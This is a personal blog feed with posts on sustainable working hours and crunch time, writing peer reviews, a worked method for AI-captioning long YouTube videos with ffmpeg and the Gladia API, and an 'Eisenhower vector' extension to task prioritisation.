Jon Gjengset

About 40 hours

Sun, 22 Dec 2024 08:53:21 +0000

I often hear, especially from folks working at younger companies and the tech giants, that the 40 hour workweek is a lie. That “the company” secretly (or not so secretly) always wants you to work more hours and doesn’t care if people are unhappy or burn out. That “they” will keep piling on work with no regard for mental or physical well-being. And while that is certainly true in some places, I think it is the exception, not the norm. More often than not, I think reality is far more nuanced.

Unfortunately, companies tend to fail to correct this impression whenever they are asked about work/life balance, burnout, or workload management. An all too common response is “we believe work/life balance is something the company cannot dictate - it is a personal choice”. With a prior of “the company doesn’t care”, this comes across as (slightly condescending) weasel-words that dodge the question.

The reality is that “what’s the right number of hours to work in a week” is not an easy question to answer. It varies not just from person to person, but from week to week, and even day to day. And ignoring the nuances involved does a disservice to both employees and employers. Cultivating the cultural norms and organizational policies needed to strike a sustainable balance, while still treating employees like adults with agency, is difficult but worthwhile. Ultimately, I argue, the right mixture of individual flexibility, internal back-pressure, and well-adjusted expectations yields positive, healthy outcomes for everyone involved; there’s no need for good intentions (although it is of course welcome!).

I’ve chosen not to get into the question of “what about the time I spend thinking about work stuff in the shower or on the toilet?” here. As you’ll soon discover, this article is on the long side, so I had to declare the semi-philosophical discussion of what “work” even means out of scope!

Area under the curve

So, let’s explore some of that nuance. To do so, let’s start with a chart: incremental progress made per unit time, where “progress” is an abstract value to measure the degree to which that time was spent furthering something that’s valuable to the company either directly (actual work done) or indirectly (hiring, skill development, people managing, etc.). Let’s plot this over one week of five working days, each with eight hours. My contention is that it would look something like this:

It’s worth highlighting that the Y-axis here is actual progress made towards impactful outcomes. If you’re tired or distracted, you may spend the same number of hours ostensibly working, but you’ll make more mistakes, take longer to arrive at solutions, get more easily distracted, and thus have a lower overall progress per unit time.

I’ve included what I think are some common patterns here. By the end of the day, most people are less productive. By the end of Thursday, we feel our energy levels and productivity drop. By Friday morning, our productivity is diminished from the get-go, and drops severely as the day progresses.

This is obviously a generalisation; the nature of the curve will depend on a whole host of factors including general health condition, other things going on in life, amount of time since last vacation, how engaging the work is, or just whether the person stubbed their toe one morning. It also probably applies more so to creative knowledge work than to, say, chopping trees in the forest.

But don’t take my word for it. Even if you ignore the various trial results from 4 Day Week Global, there is a mounting body of evidence showing correlation between number of hours worked and decline in both mental health (including increased depression) and physical health, as well as productivity overall across a variety of industries. Interestingly, the detrimental effects do not seem to stem solely from an increased workload, but also from downstream effects like working “unsocial hours”. It’s also not clear that 40 hours per week strikes the “right” balance in any meaningful way.

What employers ultimately care about is the area under this curve. That is, the sum-total progress made in a given time interval. So, armed with this visualization, let’s look at some common “get more work done” patterns might look like in this model.

Anecdotally, I also think the area under this curve correlates with our own happiness – at least I know that I enjoy the feeling of getting things done that mattered,

Longer days

The exact shape of this curve will differ from person to person. For some, an extra hour or two at work is no big deal and doing this would just increase their overall output. While for others their ability to concentrate, be creative, and pay attention to detail drops precipitously as the day stretches longer. Also, with longer days, you have less time to fully recover by the next day, so the detrimental effect cascades.

So, as an employer, would you prefer this curve to the one above? The area under the curve is somewhat greater, but not by a huge margin. You’re also likely paying a cost in attrition due to unhappiness. That cost in terms of hiring + retraining isn’t captured here, but is substantial. Furthermore, work at the lower ends of the Y-axis here is more likely to have mistakes that must be corrected later, further adding to the cost.

A friend of mine who read an earlier draft of this article also made the excellent point that 2 hours at work often aren’t equivalent to 2 hours at home, especially for those with care duties. If you spend less time at home with your children, pets, loved ones, etc., that “saved” time can easily result in a much more severe backlash down the line. You might end up with kids who are harder to put to bed or relationships that need repair, which not only come with a mental toll, but also require a lot of time; the very resource you had hoped to save in the first place.

Longer workweeks

Week 1

Week 2

Week 3

At first, working more days seems attractive. Sure, the 6th day isn’t super productive, but it still adds a lot of area! Once viewed over time though, the detrimental effect becomes clearer – seen across a month, the area you added in the first few weeks is quickly eaten up by the losses in later weeks.

Interestingly, none of the studies I’ve looked at seem to distinguish between “more hours per day” and “more days per week”.

Burnout

When someone has hit burnout, progress is sporadic and slow if any happens at all. Or in the extreme case they stop working altogether. It goes without saying that this is terrible for area-under-the-curve. As an employer, you never want employees to hit burnout no matter how cynical you are; if they burn out, you are effectively paying for someone at minimal efficiency. Sure, you could fire them, but now the progress over time for this person is 0, and in addition you have to now spend other people’s time hiring and training their replacement – that’s negative area!

Crunch time

The graphs above show that you can indeed get more stuff done by working more, but only up to a point. Beyond that point, you end up with a compounding negative return. But therein also lies a clue: crunch time is fine as long as there is a recovery period afterwards. By giving time “in lieu” after a crunch, you can bring the baseline back up and then progress as usual.

Now, when people take time off after a crunch, the area under their curve (obviously) goes to zero, which hints at what I believe is a fundamental property of crunch time work: it does not give you more time over all, it merely borrows time from the future. That borrow also comes with a marginal interest cost, but that may be a cost worth paying occasionally if the deadline is important enough, or if you are crunching with others and the high-bandwidth concurrent crunch yields an outsized impact.

At ambitious companies, increased work output may also come with significant (possibly uncapped) financial upsides. That can increase the tolerance for increased work, at least for a period of time, and can be a worthwhile investment if made intentionally. However, even with high rewards, most people will inevitably hit diminishing-and-eventually-negative returns at some point, and will feel the consequences if they push past it.

It should go without saying at this point, but “constant crunch time mode” is clearly unsustainable – the diminished progress rate will only compound, and eventually you’re spending lots of hours but getting very little done. And making everyone miserable in the process! Giving time in lieu is essential for a company that wants to pull the “crunch time” lever frequently.

Exerting back-pressure

With the charts above, I hope I have demonstrated that it’s actually in the company’s interest that people don’t overwork. However, a common failure mode is that the insight that people are overworking is binary: there is little signal that someone is overloaded until the one day where it all boils over and they burn out. Perversely, this happens more in companies where the employees feel particularly dedicated to the company’s work; employees absorb more work and tighter deadlines by working harder because they care about what they’re working towards. And while they may occasionally mention there’s a lot to do, it goes unnoticed because, frankly, when isn’t there a lot to do? But as a result, they keep stretching themselves until they break.

The solution to this, which as we’ve seen is both in the employee’s and employer’s interest, is for people to be willing to push back as the work burden grows. This serves as a signal up the chain that work is being fed into “the machine” faster than it can be acted upon with the expected quality. There are a variety of ways that the leadership of the company could act upon to that signal, including hiring (though beware the mythical man-month; see also work is work), but that’s beyond the scope of this already-long article! The important thing is that the signal exists such that they can act upon it, which as we’ve demonstrated is in their own self-interest.

I want to stress that back-pressure does not mean “just say no”. Instead, effective back-pressure is all about negotiation. That is a topic for a blog post all on its own, but very briefly: when you’re near capacity and someone approaches you with more work, you should present them with what work would need to be dropped in order to take on their work instead. It could be that their piece of work is more important than what you’re currently prioritising, but if so, that other piece of work should be dropped! If both are important, something else has to go. That’s what “at capacity” means. The choice of what gets dropped may be difficult, and may need to propagate back up the leadership chain, but that’s the back-pressure working as intended.

Performance expectations

Concerned (likely leadership-shaped) readers may see the advice above and be worried that telling employees to push back will lead to a naysaying culture where ambition goes to die. Where minute-counting, card-punching types leave no room for rising to a challenge. And while that is a possible outcome, it also has a natural counter-weight: the performance evaluation process.

Performance evaluations is, in my opinion, one of the linchpins of company culture. It may seem cynical at first, but hear me out. It’s in performance evaluations that the company is forced to make extremely explicit and public judgement calls on what it values and what it does not. Behaviour that is rewarded is, naturally, reinforced, sought, and promoted. And a bar quickly emerges that represents what the company considers “good enough” performance, usually under a label like “meets the bar” or “meets expectations”.

Crucially, “good enough performance” should be tied to impact (which I could write another whole article on how to define…) and progression, not hours clocked. With the mental model we’ve established, the measure of performance should be equal to the area under curve across a quarter/year, perhaps with some weighting for particularly strategic impact. Furthermore, I would argue, a rating of “meets expectations” should be calibrated to what is reasonable to expect from a competent employee with 40 hour work weeks on average over the period. Under such a definition, an average employee who sticks to normal working hours should get a rating of meeting expectations. Which, to be clear, is a perfectly fine rating! And those who push back too much are likely to not meet that bar, to their own detriment.

Concerned (likely employee-shaped) readers may see the advice above and contest that this will lead to a system where people are rewarded for overworking. Such readers may also suggest that this is equivalent to punishing people for not overworking. There’s some truth to the first part of that, though only up to a limit; as I’ve hopefully managed to illustrate above, it’s not as though you can just put in infinitely more hours and end up infinitely more productive. You can increase your output slightly if you tolerate more work, in which case you will likely be rewarded for that, but that just seems… fair? That is, as long as the baseline is set such that it’s possible to meet when working 40 hour work weeks (again, on average). For the latter though, if you don’t find the reward above that bar commensurate with the added stress or unhappiness you would experience from doing so work week (again, on average), that’s a perfectly fine choice. Getting a “meets expectations” and the pay check commensurate with that (which should be fair wage of course!) isn’t a punishment, it’s just kind of how jobs work.

Of course there is a risk that the company’s Overton window shifts and the expectation moves to align with those who work more. And vigilance is required on the company’s part to fight that trend. However, as we’ve shown, it’s in the company’s interest to do.

At this point it’s important to acknowledge that companies differ in their ambition. Some companies are looking to solve harder problems in shorter time frames, which requires a higher sum-total area under the curve. Some of that can be helped with more people, but given Amdahl’s law it’s also necessary to get more out of each individual person. That is, to expect a higher area under the curve for each person. As we’ve shown, adding time is not generally the way to do that sustainably over longer periods of time. Instead, companies with such ambitions have to require more progress per unit time – that is, they require higher-output employees.

This is where tensions arise, especially if a company’s ambitions rise over time. As the company requires more area under the curve, some are able to deliver that while staying within sustainable working hours, but others will struggle to do so. Unfortunately, when that happens, the instinctive response tends to be to put in more hours to try to meet the demand. For some people with a high tolerance for spending time on work, that may work, but for the vast majority it will unravel in the medium- to long-term.

Part of the burden in adapting to this lies with the employer. To increase output, you need to invest in your employees’ skills, limit bureaucratic overhead, mitigate scope creep and shifting requirements, invest in infrastructure, reduce friction of repetitive tasks, exhibit consistent and reliable leadership, give increased autonomy and trust, etc. But while employer efforts are necessary, they aren’t sufficient – the burden on employees will also increase with increased ambition. And the right response to that isn’t to work significantly more hours, as we’ve shown. It is to increase progress-per-unit-time. In other words, to “work smarter, not harder”.

An important aside here on choosing your employer: it is worth thinking about what kind of area-under-the-curve demands you want to be subject to. Higher demands tend to correlate with better pay and larger impact, but that may not be worth the trade-off to you. Assuming your current progress-over-time is Y, you can choose to work for a company where the expected progress-over-time is <Y (you get to relax more), ~= Y (you work full days), or >Y (you need to stretch your skills and sometimes your time, but you get rewarded for it). The delta between your current Y and the expected progress-over-time can also be an opportunity to grow, though the need to grow can also be stress-inducing and require you to invest more time into growing your skills (which can in turn feel like “more work” – more on that below).

In the end, you need to factor in your own stress tolerance, your desire to grow, and your life situation, and pick accordingly. And yes, be willing to re-visit that decision over time; early in your career may have been the right time to work at a super-ambitious, high-octane company to give your career and skills a boost, but that doesn’t necessarily mean it’s the right place three kids later (although hats off to you if it is!).

Working smarter

On LinkedIn and in bookstores you can find endless guidance on how to work smarter, and as this article is already long, I’m not going to give any kind of comprehensive tutorial here. Instead, I want to stress what I see as the primary directions in which you can “work smarter”.

The first is to get a given thing done faster. This usually entails acquiring knowledge, tools, or experience. Domain knowledge gives you access to algorithms, facts, and techniques that let you progress faster. Tools (including learning your current tools better) reduce time spent on menial, repetitive, and mechanical tasks. Experience allows you to short-cut experimentation and trade-offs that you’ve explored before. And each of these allow more net progress per unit time.

The second is to better choose the order in which you do things such that your time is spent where it matters most. My experience has been that most engineers spend a disproportionate fraction of their time in the wrong place. Be that on a task that isn’t the one that most needs doing right now, that isn’t the one blocking other people, or that isn’t the one that is the closest to completion. Working on “the wrong thing” means you’re spending precious time, but getting only small amounts of area under the curve in return. Prioritization is a complex topic, but thinking consciously about where you spend your time is a superpower that can yield large and rapid boosts to your impact!

The third is to be more cognisant of what you work on. It makes a huge difference to your energy levels, focus, and consequently output if you’re working on something that engages you, that you care about, or that you take pride in. And it significantly reduces, although does not eliminate, the risk of burning out from it. While you can rarely choose completely freely what you work on in the context of most jobs, utilize the agency that you do have, including switching teams if necessary, such that the work aligns with what makes you tick.

And the fourth is to be strategic about when you work. If your job mandates 9-5, this may be difficult, but most creative jobs are more flexible than that — utilize that flexibility. If you’re more productive in the evenings, move some of your workday there. If you feel yourself procrastinating excessively one day, take an hour to do something else and make up that hour some other time. And conversely, if you worked late last night to push that thing over the finish line, recoup that time today; it was probably a worthwhile trade! Aligning your work with your own productivity cycle can give significant improvements to your own output even if you don’t work any more hours total.

As a wise mentor of mine has pointed out repeatedly to me, working smarter helps, but the real superpower is resting smarter. If outside of work you’re constantly checking your work Slack or email, or thinking about “this document” or “that demo”, then the path to burnout is short. You’re effectively burning the candle on both ends; working both while at work and at home. Having a clear delineation of when work time ends and not-work time starts can help tremendously. The same can be said for making good and varied use of that rest time – meet friends, exercise, go on a date night, explore the neighborhood, learn a new skill, cuddle on the couch – whatever floats your boat. The important thing is that you feel like that time is replenishing the same batteries you exhaust at work.

Finding the time

While you will naturally get better at working smarter over the course of your career, you’ll improve at a much higher rate if you make doing so a priority. Unfortunately, as with so many things in life, getting better requires time, which is the dimension I’ve been arguing this entire article you can’t easily spend more of. However, there is hope.

The decline we’ve seen in the earlier charts tend to be context-specific. While it’s hard to get more constructive work out of more hours, that doesn’t mean that those hours can only be spend sitting comatose on the couch to recover. You may not be able to get a lot more value out of one more hour of work at the end of a day, but your ability to do other things like socialize or play is hopefully not as compromised!

You may see where I’m going with this: if you can grow your skills in a way that you enjoy and where it doesn’t feel like work, you can invest more hours in a way that your area-under-the-curve will grow sustainably over time!

There’s no one way to make growing fun, and something you’re happy to spend time on – it’s a very individual thing. But it is possible. You can find growth in all sorts of extracurriculars that incidentally teach you relevant skills; e.g., cooking can teach you prioritization, sports can teach you teamwork, and teaching can boost your domain knowledge. For some, growth comes in the form of finding a super interesting (but likely less important) task at work, and then spending a bunch of spare time on it for fun. While this is technically speaking “working more”, it doesn’t feel that way. It could just as well not been a work-related task; work just served as a useful pool from which to source things to play with. And if it also has a positive impact at work, that’s just an added bonus. Ultimately, the goal is just that you find ways to sustainably increase your area-under-the-curve; ways that are conducive to your own happiness and joy.

An aside on work-sourced play: if you see peers spending time on work things in their spare time, take a second to consider whether they’re doing that because they feel like they need to, or if it’s because they want to. If they’re doing it because they need to, that’s symptomatic of dysfunctional company expectations (maybe due to lack of back-pressure). But if they’re doing it because they want to, let them have their fun and don’t take that as a signal that you should also be doing work in your spare time. Each to their own!

Post-publish addenda

Employers that do not optimize for impact

avwie132 made the excellent point in a YouTube comment that some employers may not care about (or at least optimize for) area under the curve. They give the example of consulting firms, which may optimize for billable hours rather than impact to the customer per time spent. It is certainly true that as an employee at such companies, my argument that more time doesn’t correlate with better outcomes will be met with skepticism. After all, if you spend one more hour, however useless or even counter-productive that hour may have been, that hour is still just as billable as any other. The same applies to companies that value visibility — where you have to be seen working.

That said, I think even for companies like this, the hyper-fixation on time spent (and billed) is a short-term gambit. If another company comes along that can bill half the number of hours for the same impact, you’ve made yourself (unnecessarily) imminently replaceable. Similarly, if your best employees start leaving because they are (again, unnecessarily) overworked, you’re likely to lose both current customers who may join them out the door and future customers due to the lack of high-quality staffing to allocate to them.

Of course, such companies aren’t necessarily likely to realize that they’re working against their own long-term interest. And incentives can be such that they won’t realize it either, such as if they’re heavily influenced by shorter-term investors who just want their pay-day and move on. It’s also worth pointing out that the same argument — that some companies don’t realize that they’re shooting themselves in the foot with short-sightedness — applies quite widely. Even to companies where impact is the most obvious evaluation criteria.

Given time and effort, it should be possible to sway these companies to see the long-term ROI of changing their practices, but whether that’s within your power, or worth the time it would take, is less clear. And so we’re left with: it’s important to choose your employer wisely.

Writing about people, to people

Mon, 12 Aug 2024 13:57:29 +0000

Review season is approaching, as it always is. Peer reviews, self reviews, upward reviews, quarterly reviews, and yearly reviews, need to be written, read, and relayed. For some, this is a much-appreciated time to celebrate your co-workers, give constructive feedback, learn how you can grow yourself, and (hopefully) get confirmation that overall you’re doing a good job. For many, it’s a time of endless feedback-writing, filling out form after form with the same couple of prompts, trying to remember what happened even just a few weeks ago and what working with a given person was like two months ago, and either trying to not sound like an ass when pointing out areas for improvement or glossing over any larger problems altogether.

I’ve come to realise that many despise writing reviews. Not necessarily because they don’t see their importance, but because they dislike the process, struggle to write something they see as useful, and feel like it quickly gets repetitive. I’ve had those thoughts too. But the more I’m part of people and performance conversations, whether through mentoring, being a people lead, or being part of technical leadership, the more I see just how vital reviews truly are to both the individual and the organisation. So, I want to talk about how I write about people, to people.

The advice in this document is, I believe, equally applicable to reviews of your peers, your reports, and your leadership chain (“upwards reviews”). It’s phrased for peer reviews, but all the concepts apply directly if you’re writing any of the others. I think you can follow the advice in here quite closely when you’re writing self-reviews too, even if it may feel a little odd at first.

A human will read what you write – write like it

People reviews are, inherently, for people. The review doesn’t go into a machine that spits out a number on the other end (and hopefully we never end up in such a world), nor is it expected to represent a formal argument for submission to some academic journal or a checklist for someone to tick off. It will be read by the person it’s about, by that person’s lead, used as part of an argument to other people further up “the chain”, or some combination of the above. All of those people have their own feelings and opinions, and your goal isn’t to impose your views onto them, but rather to supply your perspective and experience to augment theirs.

This has two primary implications for how you write reviews:

Write with compassion. You can write the most accurate and insightful review in the world, but fail to get any of it across because the reader cannot get past the way you have written it. Phrasing matters. You should still say the hard thing(s) without burying the lede, but take the time to find the right framing. A useful litmus test here whether, if you received the same feedback, you would actually consider what was being said or brush it off as “just this person’s unfounded criticism”. Concretely, I’d recommend brushing up on the fundamental attribution error and avoiding words like “always” and “never”.
Make it actionable. Praise is nice, critique is unpleasant, and neither is all that useful. In the spirit of “write what you’d want to receive”, prefer highlighting specific things that the person in question could do something about. This can be stuff already do that they should double down on or pare back, or it could be things they’re not currently doing that would make them more impactful if they did. If someone reads your review and still wonders afterwards “so what are they good at?” or “but how could this person do better?”, you have failed to get your message across.

Spend the time to make it short

The more you write, the less attention each words gets. Thus, if you want your feedback to not just be glossed over, you have to polish the text down such that only the most important bits remain. My recommendation is that you limit your answer to any one prompt on any feedback form to a paragraph and a half or three bullet points of at most two sentences each. Any longer and you risk that the reader will miss at least some part of what you’ve written. It may be frustrating, but it is reality.

My process is usually to first do a brain-dump with no length constraints, then to take a pass over the dump where I group related feedback into short paragraphs of full sentences, and then to take a second pass where I aggressively cut each such paragraph to half the length. This leaves you with a decent first draft that you can hone down into the final review.

Attempt this and you will quickly discover that this is really not very much text to get your feedback across. Even if you permit yourself to go a few sentences over, you will feel like you have so much more to say. Filing down the text often takes a significant amount of time, as nicely expressed in the oft-misquoted words of Blaise Pascal: “I have made this longer than usual because I have not had time to make it shorter”. It takes me about an hour to write one review.

Remember, the review recipient can ask you for more context if they need it! Don’t exhaustively describe evidence for every point; refer to data concisely and instead supply details as needed.

Two take-aways is too many

What do you remember of the last review you received? Do you remember concretely what learnings or advice you took away from it? Reviews, like much of the content we consume (what do you remember of the last presentation you watched?), disappears into some black hole in our brains, never to be recalled again. This is partially related to the length of the content – I know if I’m given a single page of information, I’ll be lucky if we remember a fraction of what was on it even a week later. But much of it comes down to information overload. If the entire text on that single page served to make a single point like, say, “deer are the worst animal”, I’d be much more likely to remember that one point a week later!

Reviews work the same way. If you want the reader to remember the feedback you’ve given, whether positive or negative, you need to give less of it. Much less. My rule of thumb is that humans usually remember (at most) one big and one small thing from any given piece of content they’re presented with. And worse yet, the scaling is negative beyond that point: if you make three points, the recipient will probably remember only one. If you make four, they’ll remember nothing.

Concretely, this means that when you’re writing reviews, you’ll usually get a lot further in terms of helping the other person by presenting one main thing they do really well or would benefit significantly from improving upon, and one smaller thing that you appreciate or think is getting in their way. That’s all you get, no matter how much you’d like to list out the twelve reasons they’re excellent or the dozen things that are holding them back.

Getting down to the most impactful 1.5 points to raise, you guessed it, takes time and effort. You’ll usually want to take the set of all things you’d want to include and look for patterns in them. Then look for patterns in the patterns. Distil the points until any further generalisation would make them useless, and then pick the one you think is most important to convey. Then pick one to mention with just a couple of sentences at the end (see where I got a paragraph and a half from?). File the rest away as feedback you might give next time around – including them, no matter how tempting, is very likely to be counter-productive.

And before you say anything, yes, I know, this post already makes more than a point and a half.

Captioning all my YouTube videos with AI

Sat, 13 Jan 2024 09:13:14 +0000

Every month or two, I get an email asking whether I could enable captions on my YouTube videos. I also get asked on Twitter, on Reddit, and even on the orange site. Unfortunately, every time I’m forced to give the same answer: I already have auto-captioning enabled on my videos, but for some reason YouTube sometimes simply does not generate captions. The most common case appears to be because the video is too long (somewhere around 2h), but I’ve seen it happen for shorter videos as well.

Each time I give that reply, it makes me sad. It means that someone who expressed an interest in learning from my videos was (at least in part) prevented from doing so, and that sucks. So, with the last email I got, I decided to finally do something about it.

Ages ago, a co-worker of mine suggested I might be able to use AI to generate captions for my videos. There are a bunch of such services around these days, but the one he linked me to was Gladia. So when I finally decided to generate captions for all my videos, that’s where I started. The API is pretty straightforward: you send them a video or audio file (or even a YouTube URL), and they return a list of captions, each with an associated start time and end time¹. That list can then pretty easily be turned into SRT or VTT caption files (Gladia also supports producing them directly, though I didn’t use that feature). Seemed easy enough!

Unfortunately, it turns out that Gladia (and many other similar platforms) have a max limit on the length of the file they are able to caption. For Gladia, it’s currently 135 minutes (though they recommend you split your audio files into ~60 minutes chunks). Now, if you’ve watched my videos, you know that most of them are longer than that, so some smartness was needed (more on that in a second).

I also faced another issue: my video backlog is somewhere around 250 hours of video. At the time of writing, Gladia charges €0.000193 per second of audio (which seems to be roughly where the industry has landed), which works out to €174. That’s not nothing, especially with a bit of trial and error needed to get the aforementioned splitting right. Luckily, when I reached out to them pointing out that I wanted to caption a bunch of programming teaching resources, and was willing to share my experience and code afterwards, they graciously agreed to cover the cost of the bulk encoding. Yay!

With that out of the way, let’s get to the how. You can also just look at the code directly if you want!

Generating captions for long videos

My videos vary a fair bit in length. The shortest are 60-90m (so within the Gladia length limit), while the longest one is 7h20m. Some may call that too long, but that’s outside the scope of this. This raises the question: how do you generate captions for a 7 hour long video in bursts of approximately 60 minutes? The naive approach is to just split the video in 60 minute chunks, caption each one independently, and then join them together, but this presents a few problems:

You may cut the video mid-sentence, leading to a broken caption.
You may cut the video during a short silence where the next caption should follow on from a sentence just before the silence. Splitting here would lead to odd-looking captions where the next caption appears to start a new sentence.
Depending on how you cut, you may end up with slightly-offset captions in later segments if the cutting isn’t using precise time codes.
You may end up with “weird ends” where the last segment is only a few seconds long, possibly without any captions. This isn’t inherently a problem, though it does mean that progress can appear kind of random.

Instead, you have to be slightly smarter about how you cut. Here’s what I landed on.

First, get the audio file for the video locally somehow. If it’s a YouTube video, you can use a tool like yt-dlp or yt-download to grab it:

$ yt-dlp -x -f 'bestaudio' "https://www.youtube.com/watch?v=kCj4YBZ0Og8"

In my case, I have the files for all my videos locally, so I just used those.

Next, take the length of the video and divide it by 60 minutes. Round that number up to the nearest integer value. Then divide the length of the video by that value (call that value seg). That’s how long we’ll make each segment.

Then, extract the first segment (of length seg) with²

$ ffmpeg -i "$audiofile" -vn -c:a libopus -b:a 192k -f ogg -t "$seg"

It’s tempting to use -acodec copy here, but don’t — it leads to inaccurate cutting. We need to mux to get exactly-accurate cuts of the audio. So, we export to Opus audio in an Ogg container — it is modern, compact, and has good encoders. FLAC would be nice, but hits the 500MB file size limit too often. I decided against AAC since some AAC encoders are really bad.

Later segments can be extracted with:

$ ffmpeg -ss "$start" -i "$audiofile" -vn -c:a libopus -b:a 192k -f ogg -t "$seg"

Note that the last segment has to be extracted without the -t flag to make up for any rounding errors!

Sometimes, the audio stream in a video has a delay relative to the video stream. This might be to correct audio/video sync, or to make an intro sound line up with the visuals. This makes things weird because the caption timestamps are relative to the video. You can check whether this is the case for a given video file with this command:
$ ffprobe -i "$videofile -show_entries stream=start_time \
    -select_streams a -hide_banner -of default=noprint_wrappers=1:nokey=1
If this prints anything but 0, you’ll have to adjust the ffmpeg invocation for the first segment to include -af adelay=$offset_in_ms.

Note you have to have both the audio and video to run this command, so remove -x -f 'bestaudio' if you’re grabbing a YouTube video that might have such a delay.

But, how do you set $start for each segment?

First, ship the extracted audio segment to the Gladia API. Then, in the captions you get back³, walk backwards from the last caption, and look for the largest inter-caption gap in, say, the last 30 seconds of the segment. The intuition here is that the longest gap is the one least likely to be in the middle of a sentence. You can also improve this heuristic to look at what the caption immediately before the gap ends with. For example, if it ends with “,” or “…”, maybe skip that gap as the next caption is probably related and shouldn’t be split apart.

Once you’ve found that gap, set $start to be the time half-way through that gap. Discard all captions that follow $start from the current segment, then repeat the whole process for the next segment. Keep in mind that for all captions you get back from the API need to have $start added to their time codes!

Once you have all the captions from all the segments, all that remains is to write them out into the SVT format (one of the caption file formats that YouTube supports). The format is:

$number
$caption.time_begin --> $caption.time_end
$caption.transcription

where $number starts at 1 for the first caption and increases by one for each subsequent caption, and the timestamps are printed like this:

fn seconds_to_timestamp(fracs: f64) -> String {
    let mut is = fracs as i64;
    assert!(is >= 0);
    let h = is / 3600;
    is -= h * 3600;
    let m = is / 60;
    is -= m * 60;
    let s = is;
    let frac = fracs.fract();
    let frac = format!("{:.3}", frac);
    let frac = if let Some(frac) = frac.strip_prefix("0.") {
        format!(",{frac}")
    } else if frac == "1.000" {
        // 0.9995 would be truncated to 1.000 at {:.3}
        String::from(",999")
    } else if frac == "0" {
        // integral number of seconds
        String::from(",000")
    } else {
        unreachable!("bad fractional second: {} -> {frac}", fracs.fract())
    };
    format!("{h:02}:{m:02}:{s:02}{frac}")
}

Note that the SVT format is pretty strict. You must have an empty line between each caption, you must give them consecutive sequence numbers starting at 1, you must use -->, and you must format the sequence numbers with exactly three fractional digits.

I’ve coded up this whole process in this project on GitHub: https://github.com/jonhoo/gladia-captions. I’ve also filed a feature request for Gladia to support something like this natively.

Mapping video files back to YouTube

If all you wanted to do was play someone else’s YouTube file with captions, then you’re basically done. Just pass the SRT file to your video player along with the YouTube URL (if it supports it) or the video file you downloaded, and you’re good to go.

If, like me, you want to update the YouTube video’s captions, you next need to figure out which YouTube video each caption belongs to. If you downloaded the audio from YouTube originally, or have a neatly organized video backup archive, then this is trivial. In my case, my local video archive only has video category and the recording time of the video, so there’s no real connection to the originating YouTube video. So, I had to also find a way to map the videos back to their respective YouTube upload.

To do this, I wrote a program that first queries the YouTube API for all my videos and extracts their id, title, publication date, and duration. Then, it walks all the video files in a given directory and determines their timestamp (from the file name) and duration (using symphonia). Finally, for each local file, it checks if any of the YouTube videos have a duration that differs in at most single-digit seconds, and has a publication date that differs by at most a day. If any such video is found, it associates the two, and outputs the YouTube id and title in the name of the caption file for that local file.

Uploading the captions

Armed with the caption files and the mapping back to YouTube videos, I really wanted to automate the process of uploading the captions as well. It’s not too important for captioning new videos, but when doing the backlog of almost 80 videos, that’s a lot of clicking through the YouTube studio API. Now, there is an API for uploading captions, but unfortunately there are two complications:

It accesses private data, which requires OAuth 2.0 authentication. A simple API key won’t do it. It’s totally possible to implement OAuth 2.0 authentication from a command-line tool, it’s just annoying.
YouTube’s upload API uses a particular kind of request encoding (chunked transfer encoding) that isn’t supported by the Rust HTTP library I’m using at the moment.

So I instead opted to do this part in Python (for now) based on the code in the “Try it” box on the caption API page (and the instructions for running it). This required getting a set of OAuth credentials from Google Cloud Console (not too bad since I already had an “application” there for my API key), adding myself as a “Test user” under “OAuth consent screen”, and tweaking the code a bit. The end result is this Python script, which you should easily be able to fit a slightly-different use-case.

It’s worth noting that the YouTube API has a pretty strict free quota, and that uploading captions consumes a fair bit of that quota (450 out of 10k daily limit). This means that in practice you can only upload about 20 captions a day through the API before YouTube will cut you off for the day. And getting that limit bumped is annoying.

End result

All my videos, including the super long ones, will soon have English captions (once the YouTube API allows), and I no longer need to apologize for YouTube auto-captioning’s shortcomings 🎉

Gladia sometimes returns captions that are overly long. I haven’t found it to be an outright problem (like YouTube rejecting the captions), it’s just a bit awkward to read when it happens. It’d be nice if there was a way to limit the max caption length, so I’ve filed a feature request. ↩
It’s a little unfortunate that the audio has to be split on the client side, especially given that the Gladia API supports providing YouTube URLs directly. It’d be so convenient if one could instead tell Gladia specifically which part of the posted URL’s audio to caption. So, I’ve filed a feature request. ↩
The Gladia API returns a fairly big JSON payload because it also includes word-level timestamps. I didn’t need those here, but there isn’t currently a way to omit them. ↩

Eisenhower vectors

Sun, 29 Oct 2023 09:04:37 +0000

This past week, during a team off-site at work, I was re-introduced to the Eisenhower matrix; a handy device for prioritizing tasks and deciding how and when to handle them. It gets its name from this quote from US President Dwight D. Eisenhower:

I have two kinds of problems, the urgent and the important. The urgent are not important, and the important are never urgent.

(In the speech, Eisenhower in turn attributes it to a “former college president”, and this general principle is also known by other names like “ABCD analysis”, but let’s stick with the Eisenhower nomenclature).

At its core, the basic idea is that every task can be be classified as important (or not), and urgent (or not), and that these two are independent variables. Things can be urgent without being important, and vice-versa. Once classified in this way, the rule of thumb is to do things that are both important and urgent, schedule things that are important but not urgent, delegate things that are urgent but not important, and drop tasks that are neither important or urgent.

While we were going through some exercises on prioritization using the Eisenhower matrix, it struck me that there’s a facet of tasks that factors into their priority but isn’t represented in the matrix: a task’s potential. Some tasks are neither important nor urgent right now, but have the potential to become one or the other at some future point in time. And this potential should be factored into that task’s priority.

(You could argue that a task’s potential should factor into how important it is, but I think it’s a useful exercise to treat potential as a third facet so that you are forced to take it into account.)

So, let me introduce you to the Eisenhower vector. Like (Euclidian) (bound) vectors, an Eisenhower vector is an arrow with a point of origin, a direction, and a magnitude (or length). The point of origin represents the current classification of the task along the importance and urgency axes of the Eisenhower matrix. The direction signifies how the importance and urgency is expected to change over time. And the magnitude dictates how quickly you think the task is likely to develop in that direction. For example:

An Eisenhower vector for a task that is currently not important or urgent, but is gradually becoming more important.

This task would normally be dropped, since it’s not important or urgent. But, we’re expecting that it will become more important over time, potentially crossing the boundary into important-but-not-urgent territory. And as a result, it may deserve to be scheduled (with a lower priority) rather than dropped. Compare that to this task:

An Eisenhower vector for a task that is currently quite urgent, not important, and expected to rapidly become less urgent.

It’s currently very urgent (a customer has sent you four emails in the past five minutes), but you expect that that urgency will fade rather quickly if the task is not done immediately. This, too, should affect the task’s prioritization relative to other tasks. Given the perceived urgency, the customer in question probably won’t be happy about you not doing it (they never are when things feel urgent), but it may still be worthwhile down-prioritizing the task over something else that’s currently less urgent, but will remain as urgent.

